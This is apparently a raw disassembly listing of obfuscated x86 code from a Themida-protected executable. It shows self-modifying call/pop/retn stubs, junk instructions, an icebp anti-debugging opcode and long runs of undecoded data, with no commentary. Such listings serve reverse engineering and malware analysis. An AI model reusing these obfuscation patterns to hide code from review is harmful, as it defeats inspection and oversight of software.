test bl, 4
jz loc_585E83
push 0
push ecx
call sub_585E40
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_585E40 proc near ; CODE XREF: Themida_:00585E38p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 14h
inc ecx
push ecx
retn
sub_585E40 endp
; ---------------------------------------------------------------------------
push edx
movsx edi, si
call dword ptr [ebp+6A8068Dh]
jmp loc_585E66
; ---------------------------------------------------------------------------
db 0FAh
dd 7692347Ch
db 0E7h, 91h
; ---------------------------------------------------------------------------
loc_585E66: ; CODE XREF: Themida_:00585E22j
; Themida_:00585E5Aj
nop
mov si, dx
push eax
jmp loc_585E7E
; ---------------------------------------------------------------------------
dd 0D5DDBE84h, 0D8A3C5EFh, 73A36620h
; ---------------------------------------------------------------------------
jmp short loc_585E08
; ---------------------------------------------------------------------------
loc_585E7E: ; CODE XREF: Themida_:00585E6Bj
nop
mov si, 659h
loc_585E83: ; CODE XREF: Themida_:00585E2Fj
jmp loc_586319
; ---------------------------------------------------------------------------
push 0
push eax
call sub_585E93
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_585E93 proc near ; CODE XREF: Themida_:00585E8Bp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Ah
inc eax
push eax
retn
sub_585E93 endp
; ---------------------------------------------------------------------------
db 0Dh
; ---------------------------------------------------------------------------
dec ebp
retf
; ---------------------------------------------------------------------------
dw 0E963h
dd 870F7ABDh, 16h, 10E8h, 6A111A00h, 0D8EF32E0h, 763BB3CCh
dd 6F53139Eh, 0B05FE2h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 1Dh, 58C35040h, 55173A7Dh, 20993D20h, 0C78166D1h
dd 70E60E29h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 16h, 29C35545h, 853132CCh, 6A83495h, 6A71E4h, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
dd 691D84C3h, 1539BD8Bh, 0B60F06A8h, 51006AD8h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1904h, 0C3514100h, 0A4968C1Eh
dd 0BAF51F41h, 6, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 1Ch, 6CC35646h, 0C80BDA87h, 10D709D2h, 8BF78B66h, 51006AC3h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h
dd 0DBF36512h, 8B0618B3h, 0A805F9BDh, 4E8C106h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 7AC35646h, 0BF0D38C4h
dd 62AC177Fh, 6AE2F766h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 18042444h, 46000000h, 0CE81C356h, 89BCE59Ah
dd 0A828C1BDh, 89D82B06h, 0A83189B5h, 0E9609306h, 8, 47A3DAAFh
dd 99066372h, 0E9565061h, 7, 0D6AC4A06h, 5E0425ECh, 51006A93h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h
dd 94B9DD3Ah, 8166D904h, 0F8C7DFD6h, 176DB5FFh, 0BD8906A8h
dd 6A81B29h, 1B3195FFh, 6A06A8h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 140424h, 53430000h, 8E811C3h, 12000000h
dd 9851711Ch, 0F5E8D76h, 188Ch, 13E900h, 6C5E0000h, 4ADC0323h
dd 0A675415Ah, 0FFD74EB5h, 5000BE51h, 0B05E63h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 3BC35545h, 8BDF1DCAh
dd 0A819A5BDh, 65958906h, 0E606A80Eh, 0CFF68170h, 0E4648F85h
dd 0F613C71h, 22883h, 0B9B58B00h, 0F06A826h, 6AD8B6h, 3E850h
dd 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
dd 664787C3h, 3EDA0068h, 0FDBD8B84h, 0BA06A810h, 6, 6E9h
dd 0BD89A600h, 0E8C99A5Ah, 13h, 0C4A77263h, 76E12F17h
dd 72C5DC34h, 0F9E8DC69h, 8B416102h, 0A81B19B5h, 0C38B5F06h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 79C35141h
dd 9D899255h, 6A81A99h, 0B04E8C1h, 0A82619BDh, 0E2F76606h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 84C35545h
dd 0BF32304Eh, 1F821874h, 6AD82Bh, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 170424h, 57470000h, 0A61725C3h, 0A5BD8B47h
dd 5806A801h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 1Dh, 0A9C35242h, 0A85B4148h, 0D9DC8896h, 0FD82BFAh
dd 11C88h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1404h, 0C3574700h, 2DBD8BC8h, 8B06A806h, 0A832D9B5h
dd 7B906h, 8B660000h, 0C183F3h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 17h, 0C5C35141h, 6092A377h, 8E98503h
dd 0BF0F06A8h, 0D93B61CBh, 0B7860Fh, 39BF0000h, 661F0EC5h
dd 6AD98Ch, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
dd 56460000h, 1DC4A5C3h, 0F04C1F6h, 8284h, 8E900h, 4A420000h
dd 0E5B4D440h, 95FF7D16h, 6A8068Dh, 7CE78166h, 0F38B5B5Eh
dd 6AC32Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
dd 51410000h, 0FBB1DFC3h, 9FE42BFAh, 818BBF3Bh, 343D1E1Ah
dd 0F000008h, 3286h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1A04h, 0C3534300h, 0E4A0C4A2h, 0E940D9B2h
dd 11h, 0AEEE8166h, 45BD8BDAh, 8B06A80Fh, 0F0BF66C0h
db 0EEh
; ---------------------------------------------------------------------------
loc_586319: ; CODE XREF: Themida_:loc_585E83j
mov eax, ebx
mov ebx, eax
push 0
push edi
call sub_586328
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_586328 proc near ; CODE XREF: Themida_:00586320p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Dh
inc edi
push edi
retn
sub_586328 endp
; ---------------------------------------------------------------------------
dd 84F0BD4Fh, 9AF3EE67h, 0BE66B088h, 870FAF72h, 6, 2C45B58Bh
dd 85C706A8h, 6A8251Dh, 330705DDh, 2C798D29h, 0C08B06A8h
dd 176DBD81h, 7D006A8h, 850F0000h, 1Bh, 0BE9h, 81C7AA00h
dd 0B95A5241h, 0AD5B68Bh, 176D85FFh, 89BF06A8h, 0FF35C8E7h
dd 0A8176DB5h, 0E9FB8B06h, 5, 640012CFh, 3195FF20h, 8906A81Bh
dd 0A82EB995h, 119D2906h, 9006A806h, 53006A40h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 0EA9825F8h
dd 817BCC00h, 2201BD83h, 0F0006A8h, 0D384h, 21B58B00h
dd 8306A807h, 0A81FE5BDh, 840F0006h, 0C0h, 5F1BD03h, 95FF06A8h
dd 6A82201h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Ah, 0D4C35141h, 0C317B8ACh, 9D89F9FEh, 6A80C3Dh, 840FC00Bh
dd 84h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h
dd 0C35747h, 0F0B70F43h, 4FAF8D8Dh, 6A06A8h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 0B20417C3h
dd 73EFF3B9h, 8964F177h, 0A81FBD9Dh, 5B806h, 6A0000h, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
dd 49EBC8C3h, 443050D7h, 0DCE8166h, 66E1FFD4h, 0E272D681h
dd 3125BD83h, 0F0006A8h, 5AF84h, 51006A00h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 7C3AEDCh, 57C3FECDh
dd 0B529764Ch, 6A81489h, 83FFBF0Fh, 0A81FE5BDh, 840F0006h
dd 574h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Bh, 67C35747h, 0E98CC7EFh, 8DA6EE70h, 0A8314D8Dh, 31576006h
dd 0A832A5BDh, 0E8605E06h, 0Eh, 2E624A14h, 0D4915A3Ah
dd 557335D7h, 0E85AD094h, 0Ch, 7C3AEDCh, 57C3FECDh, 8AE9764Ch
dd 0C761615Eh, 0B27C8401h, 0C5BD8B44h, 8106A830h, 99CFCB01h
dd 0CE814h, 2F910000h, 2C1963BBh, 86C39F3Ch, 85BEE62Fh
dd 5E44EB4Ch, 340441C7h, 1CE706Bh, 0A8096D85h, 4418106h
dd 31D6D710h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 1Ch, 1DC35646h, 8B266121h, 73594925h, 58576060h, 75D8589h
dd 96106A8h, 0A81B1DBDh, 6A6106h, 314D858Dh, 952906A8h
dd 6A80DEDh, 0FB8B6650h, 6A240489h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 0FFCEC351h
dd 0A8312595h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1704h, 0C3564600h, 4F2CF271h, 314D8D8Dh
dd 0B58906A8h, 6A83399h, 1C7h, 6A0000h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 150424h, 51410000h, 0E980A3C3h
dd 0Dh, 2AE0D31h, 65EF7550h, 90F9F6CEh, 441C7EAh, 0
; ---------------------------------------------------------------------------
or [ebp+6A81991h], ecx
and di, 3DC2h
or eax, eax
jz loc_5866DA
push 0
push esi
call sub_58668A
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58668A proc near ; CODE XREF: Themida_:00586682p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 14h
inc esi
push esi
retn
sub_58668A endp
; ---------------------------------------------------------------------------
mov eax, ds:14C98589h
test al, 6
lea ecx, [ebp+6A84FAFh]
push 0
push ecx
call sub_5866B2
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5866B2 proc near ; CODE XREF: Themida_:005866AAp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 19h
inc ecx
push ecx
retn
sub_5866B2 endp
; ---------------------------------------------------------------------------
mov ds:2165F849h, al
sbb [esi-75h], esp
icebp
pusha
popa
mov eax, 5
jmp ecx
; ---------------------------------------------------------------------------
mov [ebp+6A833D1h], ecx
loc_5866DA: ; CODE XREF: Themida_:00586679j
lea ecx, [ebp+6A8314Dh]
push 0
push ebx
call sub_5866EB
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5866EB proc near ; CODE XREF: Themida_:005866E3p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 18h
inc ebx
push ebx
retn
sub_5866EB endp
; ---------------------------------------------------------------------------
db 5Fh
dd 0D27F99A2h, 5D58D29h, 1C706A8h, 44AA727Ch, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 2AC35141h, 0A593C264h
dd 0EC3D4573h, 0CFCB0181h, 6A1499h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 180424h, 51410000h, 55199AC3h
dd 41C760B2h, 78753C04h, 44181CEh, 31D6D710h, 14E9h, 29511000h
dd 7F03F499h, 34396C1Ch, 0DDDC2C39h, 1138083Bh, 259D89F8h
dd 6A06A805h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1404h, 0C3504000h, 4D858D1Fh, 5006A831h, 13E860h, 89A40000h
dd 18588413h, 0C8902775h, 209670A1h, 49C398F4h, 0C78A5B1Fh
dd 24048961h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 17h, 36C35545h, 0F540C054h, 312595FFh, 858906A8h, 6A809A9h
dd 314D8D8Dh, 6A06A8h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 140424h, 52420000h, 1C79DC3h, 0
; ---------------------------------------------------------------------------
jnp loc_586828
add [ebp+6A80E6Dh], edi
loc_586828: ; CODE XREF: Themida_:0058681Cj
mov dword ptr [ecx+4], 0
push 0
push ebx
call sub_58683A
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58683A proc near ; CODE XREF: Themida_:00586832p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Ch
inc ebx
push ebx
retn
sub_58683A endp
; ---------------------------------------------------------------------------
mov bl, 0E3h
mov dword ptr [eax-1Ah], 63DA751h
or eax, eax
jz loc_58689D
mov [ebp+6A83279h], esi
lea ecx, [ebp+6A84FAFh]
mov edi, [ebp+6A81AA1h]
mov eax, 5
push 0
push ebp
call sub_58687D
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58687D proc near ; CODE XREF: Themida_:00586875p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 15h
inc ebp
push ebp
retn
sub_58687D endp
; ---------------------------------------------------------------------------
cld
pop esp
sub esi, 184B5B22h
jmp ecx
; ---------------------------------------------------------------------------
mov [ebp+6A822D9h], edi
loc_58689D: ; CODE XREF: Themida_:00586855j
lea ecx, [ebp+6A8314Dh]
push 0
push ebx
call sub_5868AE
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5868AE proc near ; CODE XREF: Themida_:005868A6p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 17h
inc ebx
push ebx
retn
sub_5868AE endp
; ---------------------------------------------------------------------------
dw 284Ch
; ---------------------------------------------------------------------------
fbstp tbyte ptr [edi+eax*8+1]
movsd
xchg eax, ebp
retf 6A54h
; ---------------------------------------------------------------------------
align 2
push edi
call sub_5868D3
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5868D3 proc near ; CODE XREF: Themida_:005868CBp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Ah
inc edi
push edi
retn
sub_5868D3 endp
; ---------------------------------------------------------------------------
db 67h
; ---------------------------------------------------------------------------
mov edx, 1D5FA5E7h
add byte ptr [ecx-663034FFh], 14h
push 0
push ebx
call sub_5868FB
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5868FB proc near ; CODE XREF: Themida_:005868F3p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Dh
inc ebx
push ebx
retn
sub_5868FB endp
; ---------------------------------------------------------------------------
sub al, 88h
add bl, [edx+7D4192A1h]
test eax, 49BD336Eh
sbb ebp, [eax+441C706h]
imul ebx, [ecx+5Fh], 8D0153CEh
adc eax, 5F06A82Eh
add dword ptr [ecx+4], 31D6D710h
push 0
lea eax, [ebp+6A8314Dh]
push 0
push edi
call sub_586944
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_586944 proc near ; CODE XREF: Themida_:0058693Cp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 19h
inc edi
push edi
retn
sub_586944 endp
; ---------------------------------------------------------------------------
das
retf
; ---------------------------------------------------------------------------
dw 0EE85h
dd 5050B561h, 5A310F52h, 24048958h, 13E957h, 0A3850000h
dd 46A0D618h, 0DF30D117h, 17F5E18Ch, 95A779B6h, 95FF5FD8h
dd 6A83125h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 14h, 10C35242h, 6FEE8166h, 85B58B8Fh, 8D06A800h, 0A8314D8Dh
dd 68E0F06h, 89000000h, 0A8333D8Dh, 1C706h, 0C7000000h
dd 441h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1B0424h, 56460000h, 917032C3h, 0A2121192h, 0EE88Eh
dd 6DD90000h, 720457ABh, 9C82F492h, 2E43030h, 30B5BD0Bh
dd 0B5E06A8h, 65840FC0h, 6A000000h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 53ECC351h
dd 0F207E36h, 189h, 8D8DF500h, 6A84FAFh, 0E855006Ah, 3
dd 5DC35D20h, 4246C89h, 4244481h, 18h, 57C35545h, 849AF7EFh
dd 34D58D89h, 5B806A8h, 66000000h, 8D2BCE81h, 9D89E1FFh
dd 6A8025Dh, 84E9CA03h, 60FFFFF2h, 2A1D9589h, 515606A8h
dd 8B615F5Fh, 0A82E41B5h, 29800F06h, 0F000000h, 485h, 79BE6600h
dd 11E853B8h, 54000000h, 877FB406h, 4C2F0C37h, 0C6687C2Eh
dd 420B045Eh, 800F5Eh, 5E000000h, 6AC18Bh, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 170424h, 55450000h, 0CE8B11C3h
dd 12E9BCh, 0B53E0000h, 2C977456h, 13F33D42h, 9D282A56h
dd 5F2067B6h, 4EBh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 1B0424h, 52420000h, 2E3CCDC3h, 0EDFDEB2Ch
dd 858DF578h, 6A83385h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 16h, 28C35646h, 50907B55h, 2AD68190h, 6A6E4AFDh
dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h
dd 0C3504000h, 75514423h, 19C8F836h, 0BF66568Bh, 6AB7F1h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 22C35343h
dd 60AEA514h, 0E2816656h, 8A5BBD00h, 858D61D5h, 6ABD29Dh
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 62C35242h
dd 6B8C89C7h, 0F1E794Fh, 686h, 3DBD2300h, 0F06A82Bh, 48Ch
dd 83BE6600h, 5C083BCh, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 14h, 4AC35141h, 8B0F6090h, 2, 66606160h, 6109C2B9h
dd 0EE85061h, 0C6000000h, 8AF0A31Dh, 65CCAA8Dh, 0CBC9E4CDh
dd 89905F0Fh, 0A816B5B5h, 6A006A06h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 3B26C353h
dd 0CC9A6FBBh, 6AF18Bh, 38C0Fh, 0B70F0000h, 4195FFF6h
dd 6A06A825h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 18042444h, 45000000h, 6DEBC355h, 8B292BF5h, 0A82EDDB5h
dd 39BD0106h, 8D06A806h, 0AB8C7F9Dh, 0EE816606h, 0D3FF2252h
dd 85FFF28Bh, 6A833F1h, 0AF19D89h, 9EE906A8h, 0E8000007h
dd 0
; ---------------------------------------------------------------------------
pop ebp
sub ebp, 6ABD2A7h
mov [ebp+6A80CF9h], eax
cmp dword ptr [ebp+6A8176Dh], 7D0h
jbe loc_586DEF
push 0
push eax
call sub_586CDC
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_586CDC proc near ; CODE XREF: Themida_:00586CD4p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Dh
inc eax
push eax
retn
sub_586CDC endp
; ---------------------------------------------------------------------------
dd 0F1080A22h, 6F4817B7h, 816641C1h, 8BDDCDDFh, 0A809419Dh
dd 6800F06h, 31000000h, 0A8333D85h, 0E38106h, 29000001h
dd 0A81755BDh, 0FDB0B06h, 6E85h, 0E4D68100h, 8363DD4Ah
dd 0ABD0E9BDh, 840F0006h, 1Eh, 0E9FB8B66h, 84h, 11E9h
dd 7680CB00h, 4C14EB85h, 7B38B29Dh, 7277DEADh, 85C73333h
dd 6ABD0E9h, 1, 5DE95E51h, 6A000000h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 6CE2C356h
dd 3521BD03h, 8B6606A8h, 0B98509F2h, 0C706A820h, 0ABD0E985h
dd 6, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1B04h, 0C3554500h, 0B21E706h, 0DA4C7B69h, 45EBBF66h
dd 9419D8Dh, 238106A8h, 0FFFFFEFFh, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 15h, 0C1C35040h, 0E9BD8B2Fh
db 0Ah, 0A8h, 6
; ---------------------------------------------------------------------------
loc_586DEF: ; CODE XREF: Themida_:00586CCBj
mov bx, ds
mov [ebp+6A81DE9h], esi
test bl, 4
jz loc_586E6E
mov esi, edx
call dword ptr [ebp+6A8068Dh]
push 0
push eax
call sub_586E14
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_586E14 proc near ; CODE XREF: Themida_:00586E0Cp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 18h
inc eax
push eax
retn
sub_586E14 endp
; ---------------------------------------------------------------------------
dd 20025E9Ch, 11E9A0h, 88D50000h, 15606CD5h, 0F512825Ah
dd 226B67Ah, 50D65F18h, 6A240489h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 8EE2C355h
dd 47D07B1Dh, 5F305159h, 3055BD8Bh
; ---------------------------------------------------------------------------
test al, 6
loc_586E6E: ; CODE XREF: Themida_:00586DFBj
jmp loc_587224
; ---------------------------------------------------------------------------
db 8Bh
dd 6600B0FAh, 0E6468DBEh, 52006A70h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1904h, 0C3524200h, 55CBE75h, 8D896438h
dd 6A82F3Dh, 816671E4h, 0F5EB9CEh, 6BAD8B6h, 6A000000h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h
dd 42000000h, 9577C352h, 0A82B8E28h, 5E9F686h, 75000000h
dd 6BA75F2Fh, 9529C38Bh, 6A805D5h, 0CE8h, 8E0D1100h, 22AFEB76h
dd 6C0CA63Ah, 0BD9D8949h, 5E06A80Eh, 6604E8C1h, 6AE2F7h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
dd 51BCC5C3h, 7DE8803Dh, 9589D90Ah, 6A816B5h, 0D8D0Fh
dd 66600000h, 7989E081h, 304D8D89h, 2B6106A8h, 57006AD8h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h
dd 0C1ABA71Fh, 816691E5h, 93FAB8DEh, 2880F50h, 60000000h
dd 8B505F61h, 6A93F9h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 190424h, 51410000h, 24EB35C3h, 81C07615h, 0BE74C9C6h
dd 0FD9D8945h, 0FF06A80Dh, 0A8176DB5h, 0EE906h, 6B3A0000h
dd 64F7E94Dh, 749DC6F9h, 743A88D4h, 0F7C4CF81h, 95FF061Ah
dd 6A81B31h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 1Ah, 33C35646h, 1A7D7823h, 0B0F553C3h, 39BD8B00h, 8B06A81Fh
dd 0A81665B5h, 0E970E606h, 5, 9CDBBEDAh, 6A71E41Bh, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
dd 6D12C352h, 899D8976h, 0F06A81Dh, 48Dh, 11BF6600h, 0F613C5Dh
dd 1E383h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1B04h, 0C3504000h, 0B296F2A3h, 3959DFA3h, 0FC9BD33h
dd 0B60F06A8h, 53006AD8h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1404h, 0C3534300h, 0B815BE19h, 6BA1D02h
dd 66000000h, 5058E681h, 0BD8BC38Bh, 6A82121h, 0E2CABF66h
dd 8104E8C1h, 0D2E828E7h, 0E2F76650h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 18h, 0E8C35040h, 0A939AB7Fh, 1659B58Bh
dd 0D82B06A8h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Ah, 2CC35141h, 0B3F74E15h, 0B58B1274h, 6A82CE5h, 2F0D8589h
dd 95806A8h, 0A802E1B5h, 0FD82B06h, 10F88h, 7B900h, 6A0000h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
dd 524181C3h, 0B68BB95Ah, 5BBE66D5h, 519D89CEh, 8306A82Bh
dd 0D93B00C1h, 0D2860Fh, 8B660000h, 0D98C66FEh, 0B4BCC781h
dd 0F6F8635Dh, 840F04C1h, 9Ah, 3860Fh, 0BF0F0000h, 8D95FFF7h
dd 0F06A806h, 84h, 89605B00h, 0A8306195h, 919D2906h, 6106A80Bh
dd 870FC32Bh, 2, 343DFB8Bh, 0F000008h, 6186h, 51006A00h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h
dd 0BF6FC62Bh, 0F725B1C1h, 66CE8150h, 0E90C4662h, 9, 9E067F6h
dd 51F573D5h, 46E9D4h, 6A0000h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 160424h, 56460000h, 9691ECC3h, 1EF19531h
dd 0C08B06A8h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 18h, 6CC35242h, 0A13AAF93h
; ---------------------------------------------------------------------------
loc_587224: ; CODE XREF: Themida_:loc_586E6Ej
mov eax, ebx
mov ebx, eax
jnb loc_587234
mov esi, [ebp+6A819C5h]
loc_587234: ; CODE XREF: Themida_:00587228j
mov dword ptr [ebp+6A81E4Dh], 156ECB7Bh
mov edi, [ebp+6A82F65h]
mov eax, eax
movzx edi, di
cmp dword ptr [ebp+6A8176Dh], 7D0h
jnz loc_5872AF
push 0
push ebp
call sub_587264
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_587264 proc near ; CODE XREF: Themida_:0058725Cp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 17h
inc ebp
push ebp
retn
sub_587264 endp
; ---------------------------------------------------------------------------
dd 0C81B7861h, 8323EFBFh, 1840F16h, 0F5000000h, 176D85FFh
dd 6A06A8h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h
dd 51410000h, 0B7208FC3h, 0BAA1B2FCh
; ---------------------------------------------------------------------------
xchg eax, ecx
mov ah, 0E0h
loc_5872AF: ; CODE XREF: Themida_:00587253j
push dword ptr [ebp+6A8176Dh]
push 0
push ecx
call sub_5872C0
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5872C0 proc near ; CODE XREF: Themida_:005872B8p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 16h
inc ecx
push ecx
retn
sub_5872C0 endp
; ---------------------------------------------------------------------------
cmpsd
les edx, [edi]
and edi, 4657D15Bh
push esi
mov [ebp+6A806A5h], edx
pop edi
call dword ptr [ebp+6A81B31h]
mov esi, 61348445h
nop
mov [ebp+6A828B1h], edi
mov edi, [ebp+6A819B9h]
mov [ebp+6A81B21h], edx
jmp loc_587316
; ---------------------------------------------------------------------------
dd 33562A1Ch, 5EE37C57h, 2E53E41Fh, 0F8005639h
db 0E2h, 53h
; ---------------------------------------------------------------------------
loc_587316: ; CODE XREF: Themida_:005872FFj
push ecx
cmc
add esi, [ebp+6A807F9h]
pop edi
push 0
push edi
call sub_58732A
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58732A proc near ; CODE XREF: Themida_:00587322p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Bh
inc edi
push edi
retn
sub_58732A endp
; ---------------------------------------------------------------------------
dw 0BCEDh
; ---------------------------------------------------------------------------
mov ecx, 3605FA95h
dec eax
push 0
push ebx
call sub_58734D
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58734D proc near ; CODE XREF: Themida_:00587345p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 17h
inc ebx
push ebx
retn
sub_58734D endp
; ---------------------------------------------------------------------------
stosd
das
mov ch, 0Dh
mov esi, edx
push 0
push ebp
call sub_58736E
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58736E proc near ; CODE XREF: Themida_:00587366p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 15h
inc ebp
push ebp
retn
sub_58736E endp
; ---------------------------------------------------------------------------
dw 0BEEh
; ---------------------------------------------------------------------------
xor edi, [ebp+6A80211h]
mov edi, [ebp+6A80C89h]
push 0
push ebx
call sub_587397
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_587397 proc near ; CODE XREF: Themida_:0058738Fp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Ch
inc ebx
push ebx
retn
sub_587397 endp
; ---------------------------------------------------------------------------
db 19h
dd 939D1F4Dh, 6856116Eh, 51A3C781h, 13E9446Dh, 0BB000000h
dd 1C7007D0h, 887B356Fh, 819778Bh, 1361A4B6h, 0F681B43Ch
dd 673FC9D3h, 0F319D29h, 6A06A8h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1C0424h, 51410000h, 2037FBC3h, 0C64F92CFh
dd 9D894E1Bh, 6A80E45h, 1DDD8D89h, 0BD0106A8h, 6A80AC5h
dd 0FFF89AE9h, 50006AFFh, 3E8h, 0C3582000h, 24448958h
